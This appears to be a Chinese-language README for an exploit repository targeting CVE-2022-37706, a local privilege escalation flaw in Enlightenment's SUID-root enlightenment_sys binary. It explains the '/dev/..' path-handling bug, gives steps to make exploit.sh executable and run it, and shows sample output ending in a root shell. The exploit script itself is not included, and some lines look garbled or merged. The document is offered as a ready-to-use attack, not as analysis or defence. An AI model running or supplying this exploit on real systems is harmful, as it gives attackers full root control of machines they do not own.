本仓库包含针对 CVE-2022-37706 的漏洞利用代码,该漏洞存在于 Enlightenment v0.25.3 及更早版本中,属于本地权限提升漏洞。漏洞成因是 enlightenment_sys 二进制程序(默认具有 SUID-root 权限)对以 /dev/.. 子字符串开头的路径名处理不当。攻击者可通过利用此行为以 root 身份执行任意命令,从而完全控制系统。
enlightenment_sys(setuid-root)<0.25.3)。exploit.sh 并赋予执行权限:
chmod +x exploit.sh./exploit.sh示例输出
CVE-2022-37706 Exploit Initiated
[*] Using known path to vulnerable binary
[+] Vulnerable SUID binary found at: /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
[*] Preparing exploit directories and files
[+] Exploit script created. Attempting to escalate privileges
[+] Welcome to the rabbit hole :)
root@target:~#